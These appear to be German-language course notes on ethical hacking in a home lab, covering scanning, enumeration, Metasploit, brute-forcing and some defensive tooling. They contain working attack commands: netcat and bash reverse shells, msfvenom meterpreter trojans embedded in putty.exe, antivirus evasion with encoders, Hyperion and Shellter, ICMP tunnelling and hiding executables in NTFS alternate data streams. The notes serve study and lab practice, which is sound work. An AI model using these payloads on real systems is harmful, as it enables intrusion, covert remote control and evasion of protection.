Es werden Folgende Instanzen auf dem esxi benötigt:
Um sowohl 32Bit wie auch 64Bit Systeme angreifen zu können muss auf Kali die wine 32Bit-Umgebung nachinstalliert werden:
dpkg --add-architecture i386 && apt update && apt install wine32
Anmerkung: Ich verwende statt Kali lieber Parrot OS
apt install tightvncserver
nano ~/.vnc/xstartup
#!/bin/sh unset DBUS_SESSION_BUS_ADDRESS [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources xsetroot -solid grey vncconfig -iconic & x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" & x-window-manager & mate-session & and just to be sure, we’ll make it executable
sudo chmod +x ~/.vnc/xstartup
vncserver
vncviewer 192.168.178.21:1
| Begriffe | |
|---|---|
| Exploit | Systematische Möglichkeit Schwachstellen auszunutzen |
| Zero Day Attack | Angriff, der eine Schwachstelle ausnutzt für die es keinen Patch gibt |
| Vulnerability | Schwachstellen im Design oder Implementierung |
| Payload | Der Teil des Exploit der die Aktion ausführt |
| Hack Value | Die Belohnung des Hackers → Schwere des Angriff/Schaden |
| Bot | Ein Bot ist ein Stück Software |
| Daisy Chaining | Die Möglichkeit ein infiziertes System als Sprungbrett zu verwenden |
| Doxing | Veröffentlichen von komprimierenden Daten → Cybermobbing |
| Schutzziele | |
|---|---|
| Vertraulichkeit | Daten dürfen nur von Autorisierten Personen genutzt werden |
| Integrität | Daten dürfen nicht unbemerkt verändert werden |
| Verfügbarkeit | Zugriff auf Daten muss im vereinbarten Zeitraum möglich sein |
| Autentizität | Die Bestätigung der Echtheit und Vertrauenswürdigkeit von Daten |
| Verbindlichkeit | Stellt die Nicht-Abstreitbarkeit von Handlungen sicher |
| Zurechnebarkeit | Handlungen können immer einem Benutzer zugeordnet werden |
apt-get install torbrowser-launcher
torbrowser-launcher
Siehe: https://computingforgeeks.com/installing-tor-browser-on-linux-mint-ubuntu/
Webseiten aus dem Darknet enden oft mit *.onion Diese Seiten findet man als Liste unter
Unter Vulnerability Management versteht man eine Methode der immer wiederkehrenden Sicherheitsanalyse. Nachdem die Vorbereitungen einmal getroffen wurden und der Vulnerability-Assessment-Lifecycle eingerichtet ist, kann ein Pentest mit Auswertung und Fehlerbehebung stark automatisiert werden. Dazu sind nötig:
Nachdem also festgelegt wurde wer was und womit getestet werden soll kann dies dokumentiert werden. So ist auch rechtlich der Pentest abgesichert.
In diesem Schritt erden die Scans durchgeführt, bewertet und ein Report erstellt
Die im Report dokumentierten Schwachstellen werden bewertet
Je nach Priorität werden die gefundenen Schwachstellen behandelt
| URL | Name | Funktion / Inhalt | |
|---|---|---|---|
| https://searchdns.netcraft.com/ | Netcraft | Search Web by Domain | |
| http://web.archive.org/ | WebArchive | Internet Archiv (Wayback Machine) | |
| https://www.shodan.io/ https://beta.shodan.io/search/examples | Shodan Filter | Web Browser mit zusätzlichen Filterfunktionen Beispiele | zusatzmaterial_07-59_shodan.pdf |
| https://www.spf-record.com/ | SPF Record by NICmanager | ||
| https://webmii.com/ http://www.yasni.de/ https://www.identcheck.net/ | webmii Yasni Argus | Personensuchdienste | |
| https://www.blogmojo.de/google-suchoperatoren/ | Blogmojo | Liste der Google Suchoperatoren (Google Hacking) | |
| https://www.exploit-db.com/google-hacking-database | GHDB | Google Dork Database |
Methoden: Host-Discovery → Portscan → Dienst und OS-Erkennung → Vulnerability-Scan
| Name | Scan | Beschreibung |
|---|---|---|
| Standard Subnet-Scan (Ping) | nmap -sL 192.168.178.0/24 | Stealth Ping Scan |
| Standard Portscan | nmap -sS nmap -sU -p 53,69,111 <Ziel-IP> –reason | UDP mit Reason |
| Ack Scan | nmap -sA | wird von Firewall gefiltert? |
| IP-ID-Scan | nmap -Pn -p- <Zombie-IP> <Ziel-IP> -d | Portscan über Zombie Jumphost |
| Diensterkennung | nmap <Ziel-IP> -sV | Erkennt meist auch die Version |
| OS-Erkennung | nmap <Ziel-IP> -O | |
| Decoy Scan | nmap -D <Fake-IP1,Fake-IP2,Fake-IPn>,ME,<Own-IP> <Tiel-IP> | Decoy = Fake (idealerweise 6+ Decoys) |
| Spoof | nmap -s <Fake-IP> <Ziel-IP> | |
| Textausgabe | nmap -oG <Name.txt> <Ziel-IP> | Grepable Ausgabe in Datei |
| XML | nmap -oX <Name.xml> <Ziel-IP> –webxml | via Webbrowser darstellbar |
| Best Practice | nmap -A -T4 -F -v <Ziel-IP> |
Nmap Scripte
Pfad: /usr/share/nmap/scripts
| Einzelne *.nse ausführen | nmap –script <script1>,<script2> <Ziel-IP> | |
| Alle Scripte | nmap –script /usr/share/nmap/scripts <Ziel-IP> | Dauert sehr lange (-T insane) |
systemctl start postgresql # Datenbank starten systemctl enable postgresql # Autostart der DB msfdb init # Initiierung msfconsole # msf Konsole starten db_status # DB abfragen workspace -a Lab # Workspace anlegen workspace # Workspaces listen workspace -h # Zeigt die Hilfe für workspace
db_export -f xml /root/msfdb_backup # erstellt ein db-Backup
msfconsole # startet msf workspace Lab # In Workspace wechseln show # Listet alle Module show auxiliary # Zeigt Module einer Kategorie search scanner # Sucht alle Scanningmodule
Ein Modul verwenden (hier: ssh_version)
use auxiliary/scanner/ssh/ssh_version # Ein Modul zur Verwendung laden (info options) set rhosts <Ziel-IP> # Ziel setzten run # Start hosts # Zeigt gefundene Hosts in der DB services # Zeigt gefundene Dienste in der DB
nmap verwenden
db_nmap -T4 -A -v 192.168.178.0/24 # Verwendet einen nmap-Scan und speichert Ergebnis in der msf-DB db_nmap -sU -p161 192.168.178.0/24 --open # SNMP-Agent Scan
Sploits suchen
searchsploit Local Priv | wc -l # Zeigt Menge an gefundenen Treffer zu "Local Priv" Sploits searchsploit Local Priv |grep -i ubuntu # Schränkt die Suche um Treffer mit "ubuntu" ein
nbtscan -r 192.168.178.0/24 enum4linux -v <Ziel-IP>x nmap -p 139,445 --script "smb-enum*" <Ziel-IP>
nmap-Scripte für einen SNMP-Scan: ls /usr/share/nmap/scripts/ | grep snmp
nmap -sU -p 161 --script "snmp*" <Ziel-IP>
msf
use auxiliary/scanner/snmp/snmp_enum options set rhosts <Ziel-IP>
onesixtyone
vim community.list # Datei mit SNMP Community-Strings erstellen for ip in $(seq 1 254); do echo 192.168.178.$ip;done > ip_address-list # IP Liste onesixtyone -c community.list -i ip_address-list -d
Zusatzmaterial: Konfiguration eines AD-Controller
nmap
nmap -O -sV -p 389,636 --open <Ziel-IP>
jxplorer
apt install jxplorer # Instalation on Kali jxplorer # Startet das Tool
Email Enemaration
Via telnet Port 25 zum Mailserver verbinden RCPT TO = Recipient to VRFY = Verify EXPN = Expand
smtp-user-enum
erstelle Datei mailuser.txt -> pro Zeile eine Mailadresse smtp-user-enum -M VRFY -U mailuser.txt -t <Ziel-IP>
unter msf: db_nmap -sU -sS -p 53 <Ziel-Netz> --open
Zonentransfer
dnsrecon -n <Ziel-IP> -d <domainname> # Liest Zonentransfer Daten aus dnsrecon -n <Ziel-IP> -r 192.168.178.1-192.168.178.254 -d fritz.box # Liste aller bekannten Domain-Hosts
starte msf use exploit/unix/ftp/vsftpd_234_backdoor set rhost <Ziel-IP> run
✔ Schneller umfassender Test
✔ Meist ist die Ausgabe gut aufbereitet
✔ Kann ohne tiefes Fachwissen ausgeführt werden
✘ Ein sehr „lauter“ Scan, der schnell auffällt
✘ Durch die Voreinstellung in der Regel wenig konfigurierbar
✘ Das Netz und die Dienste werden zum Teil hoch belastet → Gefahr von Ausfall
✘ Gefahr von falschen Aussagen die aufgrund der Automatisierung vorkommen können
nmap --script vuln <Ziel-IP>
Installation auf Ubuntu (https://www.xinux.net/index.php/GVM_Installation)
Installation auf Kali https://www.linuxmaker.com/linux/kali-linux-openvas.html und https://www.agix.com.au/installing-openvas-on-kali-in-2020/
Installation auf Ubuntuserver https://www.libellux.com/openvas/#configuration-files und https://pentestit.de/gvm-20-08-auf-ubuntu-server-20-04-installieren/
Anmerkung: GVM ist der Nachfolger von OpenVAS
apt install gvm* gvm-setup gvm-check-setup WARNING: Your password policy is empty. SUGGEST: Edit the /etc/gvm/pwpolicy.conf file to set a password policy.
Passwort ändern:
gvmd --user=admin --new-password=<NeuesPasswort>
Post Install
vim /etc/default/greenbone-security-assistant GSA_PORT=9392
Start / Stop
gvm-start gvm-stop
Der Dienst ist unter https://127.0.0.1:9392 erreichbar. Login mit erstelltem User
Firefox remote verwenden:
ssh -C -Y username@servername -> Login mit PW firefox 127.0.0.1:9392
Firewall aktivieren:
apt-get install ufw ufw enable ufw allow 80 ufw allow 9392 ufw allow 22
use auxiliary/scanner/postgres/postgres_login set RHOSTS <Ziel-IP> run
postgres_login anpassen, wenn Passwörter bekannt sind
show options
PASS_FILE -> Dateipfad merken und Datei mit bekannten PW ergänzen
Im Ordner der Datei sind mehrere Dateien anderer Default-Passwort-Listen
USER_FILE -> Dateipfad merken und Datei mit bekannten User ergänzen
How it works: medusa -M smtp -q
Vorbereitung:
Starte
medusa -h <smtp-Mailserver FQDN> -U user.list -P pass.list -s -M smtp
hydra -l Nutzer – P Passwortliste.txt ftp://192.168.0.1 xhydra startet die GUI
ncat -lp 4444 # Startet netcat als Server auf Port 4444
unter Kali die Datei /usr/share/windows-binaries/nc.exe auf einen Winows-PC kopieren und in der cmd ausführen.
nc <SERVER-IP> 4444 # startet einfache Verbindung
Datei mit nc übertragen
c:\nc>nc -nlvp > wget.exe 4444 # startet nc als Server unter Port 4444, schreibt aber den std Out in die Datei wget.exe nc <Server-IP> 4444 < /usr/share/windows-binaries/wget.exe # nc auf Kali starten und die Datei wget.exe übertragen
ncat -nlvp 4444 -e /bin/bash # startet nc und piped /bin/bash darüber c:\nc>nc <Server-IP> 4444 # startet nc auf Windows und stellt so die Shell des Servers zur Verfügung c:\nc>nc -nlvp 4444 -e cmd.exe # startet nc auf Windows und piped cmd.exe ncat <Server-IP> 4444 # startet nc auf Linix und stellt die cmd des Servers zur Verfügung
ncat -nlvp 443 # startet einen Listener auf dem Server ncat -nv <Server-IP> -e /bin/bash # startet auf dem Client nv und tunnelt eine bash durch den Port 443 zum Server bash -i >& /dev/tcp/<Server-IP>/443 0>&1 # startet eine Shell und tunnelt sie zur Server-IP Port 443
msf starten und in den passenden Workspace wechseln Falls vorhanden in den vuls nach distcc suchen (vulns) Nach einer passenden Exploit suchen (search distcc) Exploit verwenden (use exploit/unix/misc/distcc_exec) RHOST setzen (set RHOST <Client-IP>) Payload setzten (set PAYLOAD cmd/unix/reverse_bash) ausführen (exploit)
Erstellen des Trojaner um aud einem Windows-Zielsystem eine meterpreter-Shell zu starten die sich zu unserem Server verbindet
msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -o mp_shell.exe LHOST= IP des Kali Angreifer LPORT= Port der Komunikation (muss an der FW offen sein) -f = Art der Ergebnisdatei -o = Name der Ergebnisdatei
Trojaner zB auf einem Webserver zur Verfügung stellen.
Auf Kali eine msfconsole mit Multihandler starten
msfconsole use exploit/multi/handler set payload windows/meterpreter_reverse_https # Nutzt das https Payload set lhost <eigene-IP> set lport 443 exploit
Jetzt kann die Datei auf dem Windows-Ziel gestartet werden. In der meterpreter-Shell wird eine neue Shell (von Windows) angezeigt.
Anmerkung: Einfacher geht es mit SET: Bypass Windows Defender and Fake image for Reverse shell
Externe Module nachladen: load (2xtab)
1. Carrier Applikation bereitstellen. Dies ist eine Applikation in der der Trojaner eingebaut werden soll.
msfvenom -p windows/meterpreter_reverse_tcp LMHOST=192.168.178.124 LPORT=8080 -x /hom/home/andre/putty.exe -k -f exe -o /var/www/html/putty2.exe
2. Meterpreter-Session auf Kali starten
msfconsole use exploit/multi/handler set payload windows/meterpreter_reverse_tcp set LHOST 192.168.178.124 set LPORT 8080 run
3. Trojaner auf Zielsystem bereitstellen und ausführen Wird putty auf Windows ausgefüher, statet zusätzlich eine rev. Shell. Diese beendet sich aber wenn putty geschlossen wird. Daher muss die Shell jetzt an ein andese Programm gehängt werden.
4. Von putty auf „explorer“ umhängen
ps -S explorer # Die PID von explorer finden -> hier 336 migrate 336
Jetzt steht eine Shell zum Zielsystem zur Verfügung
Methoden der Tarnung:
msfvenom -l encoder
Verwenden wir als Beispiel „Shikata ga nai“
msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -e x86/shikata_ga_nai -i 130 -o /var/www/html/putty_shi.exe * Bekannter Befehl um in putty einen Trojaner zu betten * -e Auswahl des Encoders * -i Anzahl an Iterationen
Mehrere Encoder nacheinander verwenden
msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -e x86/countdown .i 10 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 130 -o double-ent.exe * Verwendet zuerst den Encoder countdown mit 10 Iterationen und danach shikata mit 130 Iterationen * Datei wird als double-ent.exe lokal gespeichert
Fazit: Encoder sind nicht sehr hilfreich um an Virenscanner vorbei zu kommen. Selbst der Einsatz von mehreren Encodern bringt nicht viel.
Die 32Bit-Umgebung von wine muss installiert sein (Siehe Vorbereitungen)
cd /usr/share/windows-resources/hyperion wine hyperion.exe /var/www/html/putty2.exe /var/www/html/putty-crypt.exe
Fazit: Hyperion ist altbekannt und wird fast immer als Virus erkannt.
apt install shellter # Geht nicht auf Kali, dafür auf Parrot schon installiert Operation-Mode: A PE Target : Der Pfad zur *.exe die infiziert werden soll
Alle weiteren Eingaben sind selbsterklärend. Das Ergebnis steht dann in dem Ordner /usr/share/windows-resources/shellter/ zur Verfügung. Unter /usr/share/windows-resources/shellter/Shellter_Backups findet man ein Backup der nicht infizierten Originaldatei. Fazit: Weniger als die Hälfte der Virenscanner erkennen diese Datei als Virus
Arbeiten auf allen Clients
apt install gcc git make cd opt git clone https://github.com/DhavalKapil/icmptunnel make
Am Server (Kali)
cd /op7/icmptunnel ./icmptunnel -s 10.0.1.1 # Immer diese IP angeben das ist die ICMP-Router-IP ifconfig # taucht eine tun auf, läuft der Server
Auf dem Ziel
vim /opt/icmptunnel//client.sh # route add -host <server> gw <gateway> dev <interface # Zeile auskommentieren ./icmptunnel -c <Kali-IP>
Ab jetzt wird die Kommunikation zwischen der Servern als ICMP-Pakete getarnt
Für Windows NTFS: Daten an harmlosen Dateien anhängen und so verstecken.
Textdatei erstellen: harmlos.txt und speichern cmd starten und in das Verzeichnis der eben erstellten Datei wechseln notepad harmlos.txt:geheim.txt -> Die Datei geheim.txt wird erstellt und kann bearbeitet werden
Die neue Datei geheim.txt ist nirgendwo zu sehen. Auch hat sich der Inhalt von harmlos.txt nicht geändert. Mit dem Befehl
notepad harmlos.txt:geheim.txt
kann wieder auf den versteckten Inhalt zugegriffen werden. Das geht auch mit ausführbaren Inhalt
type c:\ordner\ virus.exe c:\ordner\harmlos.txt:virus.exe start harmlos.txt:virus.exe # führt virus.exe aus dir -r # zeigt Ordnerinhalt inklusive ADS (ab Win 7)
Programm dekompilieren und Quellcode analysieren oder nach Ausrücken im Code suchen mit den Tools:
Verhalten eines Sample (Schad-Programm) in Echtzeit beobachten. Dies muss in einer Sandbox durchgeführt werden.
Auf Windows-Clients muss geprüft werden:
apt install tripwire tripwire --init vim /etc/tripwire/twpol.txt # /var/run # /var/log # /root/.* (außer bashrc bash_* und ICE*) # /proc twadmin -m P /etc/tripwire//twpol.txt tripwire --init tripwire --check
Entsprechend der Fehler muss die twpol.txt angepasst werden. Danach kleines Script schreiben um via Cronjob das Ergebnis zu mailen
Ein System (idealerveise eine VM) die mit üblichen Monitoring und Sicherheits-Tolls ausgestattet ist. In dieser vom Firmennetz abgetrennten Stand-Alone Maschine können Daten und Programme getestet werden ohne das Produktivsysteme beeinflusst werden können.
Siehe: http://sheepdip.sourceforge.net/
Linguistische Steganografie ist das Verstecken einer Botschaft innerhalb eines Textes. Siehe: https://www.spammimic.com/encode.shtml
Die technische Steganografie nutzt das Verstecken von digitalem Inhalt in unauffälligen Medien wie zB Bilder oder Musikdateien.
Dazu verwendet man das letze Bit der Farbinformation jedes Pixel. Dadurch verringert sich der Farbraum um ca 10%, was nicht auffällt. Dabei ergeben 3 RGB-Pixel ein 8-Bit-Zeichen. Siehe:
stegosuite -e -f <Geheime.Datei> -k <passwort> <Bild.jpg> # Der Payload darf je nach Bildgröße nicht zu groß gewählt werden stegosuite x <Bild.lpg> -k <passwort> # Extrahiert die Datei
Hier gibt es weitere Infos: https://www.blackmoreops.com/2017/01/11/steganography-in-kali-linux-hiding-data-in-image/
| HaveIbeenPwned | Willst du wissen ob dein Passwort einfach zu hacken ist weil es schon auf Listen steht |
| BeEF in Kali | BeEF in Kali nutzen |
| Virustotal Nodistribute | Testet Dateien ob sie von antivirus-Systemen als Virus erkannt wird |
| Install Metasploit | Howto install Metasploit in Termux |
| inxi -Fxzd | Befehl um so ziemlich alles von einem Linux zu erfahren |
| Netzpolitik | Für alle die keine Gedult haben… |
| Autopsy | Sleuth Kit Autopsy in-depth tutorial |
| Nirsoft FoxPlanet | Windows Toolsammlungen |
| Leitfaden IS-Pentest | Ein Praxis-Leitfaden für IS-Penetrationstests des BSI |
| Mine | Wo hast du deine Daten hinterlassen? |
| arpspoof | Man in the Middle Angriffe |